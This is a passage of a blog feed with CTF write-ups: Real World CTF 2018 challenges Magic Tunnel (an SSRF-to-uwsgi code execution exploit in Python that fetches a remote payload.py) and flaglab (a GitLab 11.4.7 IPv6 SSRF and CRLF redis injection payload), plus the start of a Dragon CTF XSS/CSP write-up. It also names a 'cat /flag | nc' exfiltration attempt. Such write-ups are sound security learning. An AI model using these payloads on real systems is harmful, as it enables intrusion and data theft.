Jekyll2019-03-19T10:10:10+00:00https://blog.tonkatsu.info/feed.xml.Trashblog
icchyReal World CTF 2018 Finals2018-12-17T00:00:00+00:002018-12-17T00:00:00+00:00https://blog.tonkatsu.info/ctf/2018/12/17/realworldctf-finals<p>For person who is looking for write-ups part:
<strong><em>This post contains the write-ups for challenge Magic Tunnel and flaglab.</em></strong>
<strong><em>Click <a href="#magictunnel">here (Magic Tunnel)</a> or <a href="#flaglab">here (flaglab)</a> to jump.</em></strong></p>
<p>This is post for <a href="https://adventar.org/calendars/3210">CTF Advent Calendar 2018</a>. The post for day 16 was <a href="https://graneed.hatenablog.com/entry/2018/12/16/003745">【2018年】CTF Web問題のwriteupぜんぶ読む</a> from @graneed111.</p>
<p>At the beginning of December, Chaitin Tech held special ctf named Real World CTF which is targetting at real-world.
Every challenges are somehow related to real-world things, also 0day (or 1day) was used to solve some challenges.</p>
<p>Here is list of challenges and brief introduction in finals:</p>
<ul>
<li>pwn
<ul>
<li>Station Escape (demo)
<ul>
<li>VMWare escape challenge</li>
</ul>
</li>
<li>Engine for Neophytes (demo)
<ul>
<li>pwning challenge for browser based on Mac Safari</li>
</ul>
</li>
<li>frawler
<ul>
<li>userland pwning on Google Fuchsia</li>
</ul>
</li>
<li>The Pwnable Link (demo)
<ul>
<li>IP camera manufuctured by TP-LINK hacking challenge</li>
</ul>
</li>
<li>router (demo)
<ul>
<li>router hacking challenge with modified snmp library</li>
</ul>
</li>
<li>OBD Box (demo)
<ul>
<li>REAL car hacking challenge</li>
</ul>
</li>
<li>KitKot (demo)
<ul>
<li>Windows application pwning challenge</li>
</ul>
</li>
</ul>
</li>
<li>web
<ul>
<li>The Return of One Line PHP Challenge
<ul>
<li>One Line PHP Challenge (by 🍊) from HITCON CTF 2018 with <code class="highlighter-rouge">session.upload</code> disabled</li>
</ul>
</li>
<li>Magic Tunnel
<ul>
<li>simple web application with django</li>
</ul>
</li>
<li>The Last Guardian (demo)
<ul>
<li>Safari UXSS challenge</li>
</ul>
</li>
<li>flaglab
<ul>
<li>GitLab hacking</li>
</ul>
</li>
<li>RMI
<ul>
<li>Java RMI challenge</li>
</ul>
</li>
</ul>
</li>
<li>forensics
<ul>
<li>rwext5
<ul>
<li>modified ext4 filesystem forensics</li>
</ul>
</li>
</ul>
</li>
<li>blockchain
<ul>
<li>Acoraida Monica
<ul>
<li>I don’t know much about that, it was ethereum stuff at least</li>
</ul>
</li>
</ul>
</li>
</ul>
<p>You can see some challenges having <code class="highlighter-rouge">(demo)</code> which means players have to demonstrate the poc on the stage.
It was super cool concept for audience to see what is going on there.
Also there was a real car on the stage to be hacked, the monitor on driving seat would be controlled like these posts:</p>
<blockquote class="twitter-tweet" data-lang="en"><p lang="en" dir="ltr">#<a href="https://twitter.com/hashtag/RealWorldCTF2018?src=hash&ref_src=twsrc%5Etfw">#RealWorldCTF2018</a> Congratulations! PPP successfully pwned the OBD Box in the car to control the dashboard and got the first bloodof OBD Box at their second attempt today!🌟 <a href="https://t.co/KTzW8KjLUE">pic.twitter.com/KTzW8KjLUE</a></p>— Real World CTF (@RealWorldCTF) <a href="https://twitter.com/RealWorldCTF/status/1069056680812367872?ref_src=twsrc%5Etfw">2018年12月2日</a></blockquote>
<blockquote class="twitter-tweet" data-lang="en"><p lang="en" dir="ltr"><a href="https://twitter.com/hashtag/RealWorldCTF2018?src=hash&ref_src=twsrc%5Etfw">#RealWorldCTF2018</a> Congratulations!LC↯BC successfully pwned the OBD box during their demonstration. <a href="https://t.co/7itWNHraAd">pic.twitter.com/7itWNHraAd</a></p>— Real World CTF (@RealWorldCTF) <a href="https://twitter.com/RealWorldCTF/status/1069133594369507333?ref_src=twsrc%5Etfw">2018年12月2日</a></blockquote>
<script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
<p>So the competition organizing was totally excellent which is one of the best CTF I’ve ever played.<br />
We TokyoWesterns ended up with 6th place with solving Magic Tunnel, router and flaglab, still enough to receive $10,000 USDT!! Why the organizers are so rich? :)</p>
<p>Now let’s move on and see details of challenges I solved.</p>
<h2 id="magictunnel">Magic Tunnel</h2>
<p>Description was just one URL where the challenge is hosted.
It seems something like simple uploader by url and found that was using curl to get contents without any validation for the given url.</p>
<p>I found the application is built with django by checking <code class="highlighter-rouge">/proc/self/cmdline</code> and extracted all related codes.
First I tried to get shell using <code class="highlighter-rouge">SECRET_KEY</code> from <code class="highlighter-rouge">settings.py</code> but there is no serialization stuff.
Next I found uwsgi setting using tcp socket as backend service for nginx proxy so I tried to abuse them.</p>
<p>In CGI protocol, there is some variables including script path to be executed. I thought uwsgi protocol should also have same mechanism.</p>
<p>Here is example packet from nginx proxy to uwsgi socket:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00000000: 009b 0100 0c00 5155 4552 595f 5354 5249 ......QUERY_STRI
00000010: 4e47 0000 0e00 5245 5155 4553 545f 4d45 NG....REQUEST_ME
00000020: 5448 4f44 0300 4745 540c 0043 4f4e 5445 THOD..GET..CONTE
00000030: 4e54 5f54 5950 4500 000e 0043 4f4e 5445 NT_TYPE....CONTE
00000040: 4e54 5f4c 454e 4754 4800 000b 0052 4551 NT_LENGTH....REQ
00000050: 5545 5354 5f55 5249 0100 2f09 0050 4154 UEST_URI../..PAT
00000060: 485f 494e 464f 0100 2f0d 0044 4f43 554d H_INFO../..DOCUM
00000070: 454e 545f 524f 4f54 0f00 2f65 7463 2f6e ENT_ROOT../etc/n
00000080: 6769 6e78 2f68 746d 6c0f 0053 4552 5645 ginx/html..SERVE
00000090: 525f 5052 4f54 4f43 4f4c 0800 4854 5450 R_PROTOCOL..HTTP
000000a0: 2f31 2e31 0e00 5245 5155 4553 545f 5343 /1.1..REQUEST_SC
000000b0: 4845 4d45 0400 6874 7470 0b00 5245 4d4f HEME..http..REMO
000000c0: 5445 5f41 4444 520a 0031 3732 2e31 372e TE_ADDR..172.17.
000000d0: 302e 310b 0052 454d 4f54 455f 504f 5254 0.1..REMOTE_PORT
000000e0: 0500 3530 3535 320b 0053 4552 5645 525f ..50552..SERVER_
000000f0: 504f 5254 0200 3830 0b00 5345 5256 4552 PORT..80..SERVER
00000100: 5f4e 414d 4500 0009 0048 5454 505f 484f _NAME....HTTP_HO
00000110: 5354 0e00 6c6f 6361 6c68 6f73 743a 3830 ST..localhost:80
00000120: 3830 0f00 4854 5450 5f55 5345 525f 4147 80..HTTP_USER_AG
00000130: 454e 5416 0070 7974 686f 6e2d 7265 7175 ENT..python-requ
00000140: 6573 7473 2f32 2e32 302e 3114 0048 5454 ests/2.20.1..HTT
00000150: 505f 4143 4345 5054 5f45 4e43 4f44 494e P_ACCEPT_ENCODIN
00000160: 470d 0067 7a69 702c 2064 6566 6c61 7465 G..gzip, deflate
00000170: 0b00 4854 5450 5f41 4343 4550 5403 002a ..HTTP_ACCEPT..*
00000180: 2f2a 0f00 4854 5450 5f43 4f4e 4e45 4354 /*..HTTP_CONNECT
00000190: 494f 4e0a 006b 6565 702d 616c 6976 65 ION..keep-alive
</code></pre></div></div>
<p>note that some variables are required to query uwsgi socket.
After some trying, I found important variables <code class="highlighter-rouge">UWSGI_FILE</code> and <code class="highlighter-rouge">SCRIPT_NAME</code> used to specify script path to be executed.
<code class="highlighter-rouge">UWSGI_FILE</code> is path to script and <code class="highlighter-rouge">SCRIPT_NAME</code> is just something related to function name to trigger (I don’t know but not important).</p>
<p>So it’s enough to execute arbirary script if I could query uwsgi socket with following variables:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{
'QUERY_STRING': '',
'REQUEST_METHOD': 'GET',
'REQUEST_URI': '/',
'PATH_INFO': '/',
'SERVER_PROTOCOL': 'HTTP/1.1',
'DOCUMENT_ROOT': '/',
'SERVER_NAME': '',
'HTTP_HOST': '100.100.0.5:8080',
'UWSGI_FILE': 'path to script',
'SCRIPT_NAME': '/a=foo'
}
</code></pre></div></div>
<p>Of course I need to send arbitrary tcp packet to query uwsgi since they are using special binary protocol.
You can find the details of uwsgi protocol at <a href="https://uwsgi-docs.readthedocs.io/en/latest/Protocol.html">uwsgi documentation</a>.
It is really simple like <code class="highlighter-rouge">2 byte (length) + n byte (data)</code>.</p>
<p>Here is example code to craft uwsgi packet (using <a href="https://gist.github.com/wofeiwo/9f38ef8f8562e28d741638d6de3891f6">this</a> as reference):</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">pack_uwsgi_vars</span><span class="p">(</span><span class="n">var</span><span class="p">):</span>
<span class="n">pk</span> <span class="o">=</span> <span class="n">b</span><span class="s">''</span>
<span class="k">for</span> <span class="n">k</span><span class="p">,</span> <span class="n">v</span> <span class="ow">in</span> <span class="n">var</span><span class="o">.</span><span class="n">items</span><span class="p">():</span>
<span class="n">pk</span> <span class="o">+=</span> <span class="n">p16</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">k</span><span class="p">))</span> <span class="o">+</span> <span class="n">k</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'utf8'</span><span class="p">)</span> <span class="o">+</span> <span class="n">p16</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">v</span><span class="p">))</span> <span class="o">+</span> <span class="n">v</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'utf8'</span><span class="p">)</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span> <span class="o">+</span> <span class="n">p16</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">pk</span><span class="p">))</span> <span class="o">+</span> <span class="n">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span> <span class="o">+</span> <span class="n">pk</span>
<span class="k">return</span> <span class="n">result</span>
<span class="k">def</span> <span class="nf">gen_packet</span><span class="p">(</span><span class="n">var</span><span class="p">,</span> <span class="n">body</span><span class="o">=</span><span class="s">''</span><span class="p">):</span>
<span class="k">return</span> <span class="n">pack_uwsgi_vars</span><span class="p">(</span><span class="n">var</span><span class="p">)</span> <span class="o">+</span> <span class="n">body</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'utf8'</span><span class="p">)</span>
</code></pre></div></div>
<p>Now I can execute arbitrary script on the server, but how to upload my payload on the server?</p>
<p>First I tried to connect back to my laptop from the web server but it didn’t work.
So I tried to upload valid python script using some error message generated by web server, but it was really hard and seems that is impossible.</p>
<p>After 3 or 4 hours, I talked to my teammate and he told me the server could connect to his laptop. I was really shocked and got shell immediately. (217 got first blood during I was stuck!!!)</p>
<p>Here is final exploit:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">struct</span>
<span class="n">url</span> <span class="o">=</span> <span class="s">"http://100.100.0.5:8080"</span>
<span class="c"># url = "http://100.100.14.206:8080"</span>
<span class="c"># url = "http://localhost:8000"</span>
<span class="n">p16</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">i</span><span class="p">:</span><span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">'<H'</span><span class="p">,</span> <span class="n">i</span><span class="p">)</span>
<span class="n">p8</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">i</span><span class="p">:</span><span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">'<B'</span><span class="p">,</span> <span class="n">i</span><span class="p">)</span>
<span class="n">u16</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">s</span><span class="p">:</span><span class="n">struct</span><span class="o">.</span><span class="n">unpack</span><span class="p">(</span><span class="s">'<H'</span><span class="p">,</span> <span class="n">s</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">pack_uwsgi_vars</span><span class="p">(</span><span class="n">var</span><span class="p">):</span>
<span class="n">pk</span> <span class="o">=</span> <span class="n">b</span><span class="s">''</span>
<span class="k">for</span> <span class="n">k</span><span class="p">,</span> <span class="n">v</span> <span class="ow">in</span> <span class="n">var</span><span class="o">.</span><span class="n">items</span><span class="p">():</span>
<span class="n">pk</span> <span class="o">+=</span> <span class="n">p16</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">k</span><span class="p">))</span> <span class="o">+</span> <span class="n">k</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'utf8'</span><span class="p">)</span> <span class="o">+</span> <span class="n">p16</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">v</span><span class="p">))</span> <span class="o">+</span> <span class="n">v</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'utf8'</span><span class="p">)</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span> <span class="o">+</span> <span class="n">p16</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">pk</span><span class="p">))</span> <span class="o">+</span> <span class="n">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span> <span class="o">+</span> <span class="n">pk</span>
<span class="k">return</span> <span class="n">result</span>
<span class="k">def</span> <span class="nf">gen_packet</span><span class="p">(</span><span class="n">var</span><span class="p">,</span> <span class="n">body</span><span class="o">=</span><span class="s">''</span><span class="p">):</span>
<span class="k">return</span> <span class="n">pack_uwsgi_vars</span><span class="p">(</span><span class="n">var</span><span class="p">)</span> <span class="o">+</span> <span class="n">body</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'utf8'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">query</span><span class="p">(</span><span class="n">path</span><span class="p">):</span>
<span class="n">sess</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">session</span><span class="p">()</span>
<span class="c"># path = "file://{}".format(path)</span>
<span class="n">csrf</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">)</span><span class="o">.</span><span class="n">content</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="n">b</span><span class="s">'name="csrfmiddlewaretoken" value="'</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="n">b</span><span class="s">'"'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">req</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="p">{</span><span class="s">'url'</span><span class="p">:</span> <span class="n">path</span><span class="p">,</span> <span class="s">'csrfmiddlewaretoken'</span><span class="p">:</span> <span class="n">csrf</span><span class="p">})</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">data_path</span> <span class="o">=</span> <span class="n">req</span><span class="o">.</span><span class="n">content</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="n">b</span><span class="s">'<img src="'</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="n">b</span><span class="s">'"'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span>
<span class="k">except</span><span class="p">:</span>
<span class="k">return</span> <span class="bp">None</span>
<span class="k">return</span> <span class="n">sess</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="o">+</span><span class="n">data_path</span><span class="p">)</span><span class="o">.</span><span class="n">content</span><span class="p">,</span> <span class="n">data_path</span>
<span class="kn">import</span> <span class="nn">urllib</span>
<span class="n">_</span><span class="p">,</span> <span class="n">path</span> <span class="o">=</span> <span class="n">query</span><span class="p">(</span><span class="s">'http://100.100.14.206:8081/payload.py'</span><span class="p">)</span>
<span class="n">var</span> <span class="o">=</span> <span class="p">{</span>
<span class="s">'QUERY_STRING'</span><span class="p">:</span> <span class="s">''</span><span class="p">,</span>
<span class="s">'REQUEST_METHOD'</span><span class="p">:</span> <span class="s">'GET'</span><span class="p">,</span>
<span class="s">'REQUEST_URI'</span><span class="p">:</span> <span class="s">'/'</span><span class="p">,</span>
<span class="s">'PATH_INFO'</span><span class="p">:</span> <span class="s">'/'</span><span class="p">,</span>
<span class="s">'SERVER_PROTOCOL'</span><span class="p">:</span> <span class="s">'HTTP/1.1'</span><span class="p">,</span>
<span class="s">'DOCUMENT_ROOT'</span><span class="p">:</span> <span class="s">'/'</span><span class="p">,</span>
<span class="s">'SERVER_NAME'</span><span class="p">:</span> <span class="s">''</span><span class="p">,</span>
<span class="s">'HTTP_HOST'</span><span class="p">:</span> <span class="s">'100.100.0.5:8080'</span><span class="p">,</span>
<span class="s">'UWSGI_FILE'</span><span class="p">:</span> <span class="s">'/usr/src/rwctf'</span><span class="o">+</span><span class="n">path</span><span class="p">,</span>
<span class="s">'SCRIPT_NAME'</span><span class="p">:</span> <span class="s">'/a=hoasho4qwfe'</span>
<span class="p">}</span>
<span class="c"># print(query(sys.argv[1])[0], end='')</span>
<span class="c"># exit()</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">gen_packet</span><span class="p">(</span><span class="n">var</span><span class="p">,</span> <span class="s">''</span><span class="p">)</span>
<span class="c"># import socket</span>
<span class="c"># s = socket.socket()</span>
<span class="c"># s.connect(('localhost', 8000))</span>
<span class="c"># s.send(payload)</span>
<span class="c"># for _ in range(10):</span>
<span class="c"># print(s.recv(1024).decode())</span>
<span class="c"># exit()</span>
<span class="n">payload</span> <span class="o">=</span> <span class="s">'gopher://127.0.0.1:8000/_'</span><span class="o">+</span><span class="n">urllib</span><span class="o">.</span><span class="n">parse</span><span class="o">.</span><span class="n">quote</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">query</span><span class="p">(</span><span class="n">payload</span><span class="p">))</span>
<span class="c"># payload = """</span>
<span class="c"># import os</span>
<span class="c"># os.system('ls')</span>
<span class="c"># """[1:-1]</span>
<span class="c">#</span>
<span class="c"># code = "a = [{}]\n\n".format(','.join(map(str, map(ord, payload))))</span>
<span class="c"># code += "exec(chr(0)[1:].join(a))"</span>
<span class="c">#</span>
<span class="c"># a = requests.get(url+'/a/'+code).content.decode()</span>
<span class="c"># f = a.find('a = [')</span>
<span class="c"># t = a.find('))')+2</span>
<span class="c">#</span>
<span class="c"># data, data_path = query(url+'/a/'+urllib.parse.quote(code))</span>
<span class="c"># print(data, data_path)</span>
<span class="c">#</span>
<span class="c"># sess = requests.session()</span>
<span class="c">#</span>
<span class="c"># http_req = """</span>
<span class="c"># GET {path} HTTP/1.1</span>
<span class="c"># Host: 100.100.0.5:8080</span>
<span class="c"># Range: bytes={brange}</span>
<span class="c"># Connection: close</span>
<span class="c">#</span>
<span class="c"># """[1:-1].replace('\n', '\r\n').format(path=data_path, brange='{}-{}'.format(f, t))</span>
<span class="c"># print(http_req)</span>
<span class="c"># payload = 'gopher://100.100.0.5:8080/_' + urllib.parse.quote(http_req)</span>
<span class="c"># payload = 'gopher://localhost:8000/_' + urllib.parse.quote(http_req)</span>
<span class="c"># data, data_path = query(payload)</span>
<span class="c"># print(data, data_path)</span>
<span class="c"># print(requests.get(url+data_path).content)</span>
<span class="c"># print(query(sys.argv[1]).decode(), end='')</span>
</code></pre></div></div>
<p>intentionaly I haven’t deleted commented out line. You can see how I worked hard to solve without serving file on my laptop :P</p>
<h2 id="flaglab">flaglab</h2>
<p>Let me show you a copy of description on the score server:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>You might need a 0day.
http://100.100.0.100
download
</code></pre></div></div>
<p>The downloaded file contains just simple script to reset root password and docker-compose file. And here is docker-compose file:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>web:
image: 'gitlab/gitlab-ce:11.4.7-ce.0'
restart: always
hostname: 'gitlab.example.com'
environment:
GITLAB_OMNIBUS_CONFIG: |
external_url 'http://gitlab.example.com'
redis['bind']='127.0.0.1'
redis['port']=6379
gitlab_rails['initial_root_password']=File.read('/steg0_initial_root_password')
ports:
- '5080:80'
- '50443:443'
- '5022:22'
volumes:
- './srv/gitlab/config:/etc/gitlab'
- './srv/gitlab/logs:/var/log/gitlab'
- './srv/gitlab/data:/var/opt/gitlab'
- './steg0_initial_root_password:/steg0_initial_root_password'
- './flag:/flag:ro'
</code></pre></div></div>
<p>can you point out the vulnerability? Absolutely I couldn’t on the day1, since there is no <strong>designed</strong> vulnerabilities - this is just GitLab in real-world.
Only one curious point is the image is not latest but one minor update before latest at the time, <code class="highlighter-rouge">11.4.8-ce.0</code>.</p>
<p>So there should be some 1day exploit by 11.4.7 which is fixed in 11.4.8. Also I’ve checked <a href="https://gitlab.com/gitlab-org/gitlab-ce/blob/master/CHANGELOG.md#1148-2018-11-27">GitLab CHANGELOG.md</a> but had no idea.</p>
<p>On the day2, I thought of SSRF to RCE in GitLab and googled with just three words <code class="highlighter-rouge">ssrf rce gitlab</code>, and found <a href="https://gitlab.com/gitlab-org/gitlab-ce/issues/41293">Command Injection vulnerability on system_hook_push queue through web hook (#41293)</a>.
In summary, they says that <strong>you can execute arbitrary code with git user once you had a access to redis</strong>.</p>
<p>Holy shit, another step is to find SSRF with CRLF injection.
It was easy to find the commit to fix the SSRF vulnerability in 11.4.7 and found <a href="https://gitlab.com/gitlab-org/gitlab-ce/commit/ecbdef090277848d409ed7f97f69f53bbac7a92c">this commit</a>.
So there is a way to bypass SSRF protection with IPv6 in 11.4.7.
You can bypass SSRF protection with IPv6 like this: <code class="highlighter-rouge">[0:0:0:0:0:ffff:127.0.0.1]</code></p>
<p>Also I’ve found a note about CRLF injection in <a href="https://about.gitlab.com/2018/11/28/security-release-gitlab-11-dot-5-dot-1-released/">Security Release</a>.
There was CRLF injection vulnerability in project mirroring with Git protocol which was enough to communicate with redis properly.</p>
<p>Then I wrote exploit which works locally, but didn’t work on challenge server.
After some trying, I found that IPv6 is somehow disabled on the server.</p>
<p>I gave up to solve this challenge since my teammate are almost solving router challenge which is enough to be at 8th place.
After solving router challenge, my teammate got anxiety to be overtaken by other teams and claimed me to solve another challenge.
I explained solution and what I need to solve, then my teammate suggested me to ask organizers to enable IPv6.
And I asked organizer,</p>
<blockquote>
<p>Hey, could you enable IPv6 if possible?</p>
</blockquote>
<p>…just as a joke. Organizer said,</p>
<blockquote>
<p>OK.</p>
</blockquote>
<p>I WAS IMPRESSED. only one hour remaining, still enough to get flag.</p>
<p>Now everything is ready to exploit. I tried to execue <code class="highlighter-rouge">cat /flag | nc [my local ip]</code> but it didn’t work.
Then I tried to copy <code class="highlighter-rouge">/flag</code> to public file (I’ve selected my avatar) and it worked.
I totally forgot that <code class="highlighter-rouge">nc</code> command is not installed by default :P</p>
<p>Final payload for project mirroring is here:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git%3A//%5B0%3A0%3A0%3A0%3A0%3Affff%3A127.0.0.1%5D%3A6379/ho%0A%0Amulti%0A%0Asadd%20resque%3Agitlab%3Aqueues%20system_hook_push%0A%0Alpush%20resque%3Agitlab%3Aqueue%3Asystem_hook_push%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class_eval%5C%22%2C%5C%22File.binwrite%28%5C%27/var/opt/gitlab/gitlab-rails/uploads/-/system/user/avatar/37/avatar.png%5C%27%2C%20File.binread%28%5C%27/flag%5C%27%29%29%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system_hook_push%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created_at%5C%22%3A1513714403.8122594%2C%5C%22enqueued_at%5C%22%3A1513714403.8129568%7D%22%0A%0Aexec%0A%0Aa
</code></pre></div></div>
<p>it is sending following data to redis</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"File.binwrite(\'/var/opt/gitlab/gitlab-rails/uploads/-/system/user/avatar/37/avatar.png\', File.binread(\'/flag\'))\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
a
</code></pre></div></div>
<p>last character <code class="highlighter-rouge">a</code> is to ensure that there is <code class="highlighter-rouge">\n</code> after <code class="highlighter-rouge">exec</code>. Last line <code class="highlighter-rouge">exec</code> will not be executed without additional line.</p>
<p>Then I got flag data as my avatar at <code class="highlighter-rouge">/uploads/-/system/user/avatar/37/avatar.png</code>.</p>
<p>Thanks for reading. Tomorrow post for <a href="https://adventar.org/calendars/3210">CTF Advent Calendar 2018</a> will be about explanation for authored challenges in CBCTF Quals by @mage_1868.</p>icchyFor person who is looking for write-ups part: This post contains the write-ups for challenge Magic Tunnel and flaglab. Click here (Magic Tunnel) or here (flaglab) to jump.Teaser Dragon CTF 20182018-10-04T00:00:00+00:002018-10-04T00:00:00+00:00https://blog.tonkatsu.info/ctf/2018/10/04/dsctf-2018-teaser<p>Sadly most of TokyoWesterns had no motivation to play Dragon Sector’s CTF this time.<br />
Also I’ve been in ASU as a research scholar until the end of September, that’s why I’ve played this CTF as member of Shellphish with ASU students/professors, ended in contributing to solve following 3 challenges.</p>
<h2 id="index">index</h2>
<ul>
<li><a href="#nodepad">Nodepad</a></li>
<li><a href="#enterprise">3NTERPRISE s0lution</a></li>
<li><a href="#cryptovm">cryptovm</a></li>
</ul>
<h2 id="nodepad">Nodepad</h2>
<p>As far as I can see <a href="https://ctftime.org/writeup/11452">the wrteup on CTFTime</a>, I think this is unintended solution. I’ve never used SQLi, pin and base tag.</p>
<p>Nodepad is simple web application storing note written in Node.js.<br />
User can create new note, pin, report and delete them.</p>
<p><img src="/assets/dsctf-2018-teaser/fig1.png" alt="fig1.png" /></p>
<p>Obviously the goal is steal flag using XSS vulnerability in this application.<br />
When I looked into the code, special characters breaking DOM are prohibited:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">router</span><span class="p">.</span><span class="nx">post</span><span class="p">(</span><span class="s1">'/new'</span><span class="p">,</span> <span class="k">async</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=></span> <span class="p">{</span>
<span class="kd">const</span> <span class="nx">regex</span> <span class="o">=</span> <span class="sr">/</span><span class="se">[</span><span class="sr"><></span><span class="se">]</span><span class="sr">/</span><span class="p">;</span>
<span class="kd">let</span> <span class="nx">errors</span> <span class="o">=</span> <span class="p">[];</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">regex</span><span class="p">.</span><span class="nx">test</span><span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">title</span><span class="p">))</span> <span class="p">{</span>
<span class="nx">errors</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="s1">'Title is invalid'</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">regex</span><span class="p">.</span><span class="nx">test</span><span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">content</span><span class="p">))</span> <span class="p">{</span>
<span class="nx">errors</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="s1">'Content is invalid'</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>this filter can be bypassed easily with type confusion in JavaScript using JSON as folows:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{
"title": {"a": "<font color=red>test</font>"},
"content": "test"
}
</code></pre></div></div>
<p><img src="/assets/dsctf-2018-teaser/fig2.png" alt="fig2.png" /></p>
<p>Next step is to bypass CSP:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Content-Security-Policy: default-src 'none'; script-src 'nonce-d1471d0df85524b92b53c240214bb500' 'strict-dynamic'; style-src 'self' https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css; img-src 'self'; connect-src 'self'; frame-src https://www.google.com/recaptcha/; form-action 'self';
</code></pre></div></div>
<p>An interesting point is the note contents are rendered from <code class="highlighter-rouge">window.notes</code> embedded in the page using <code class="highlighter-rouge">/javascripts/note.js</code>.</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="s1">'use strict'</span><span class="p">;</span>
<span class="nx">$</span><span class="p">(</span><span class="nb">document</span><span class="p">).</span><span class="nx">ready</span><span class="p">(</span><span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
<span class="kd">var</span> <span class="nx">container</span> <span class="o">=</span> <span class="nx">$</span><span class="p">(</span><span class="s1">'#notes'</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">template</span> <span class="o">=</span> <span class="nx">$</span><span class="p">(</span><span class="s1">'#note'</span><span class="p">).</span><span class="nx">html</span><span class="p">();</span>
<span class="kd">function</span> <span class="nx">createNote</span><span class="p">(</span><span class="nx">note</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">var</span> <span class="nx">element</span> <span class="o">=</span> <span class="nx">$</span><span class="p">(</span><span class="nx">template</span><span class="p">);</span>
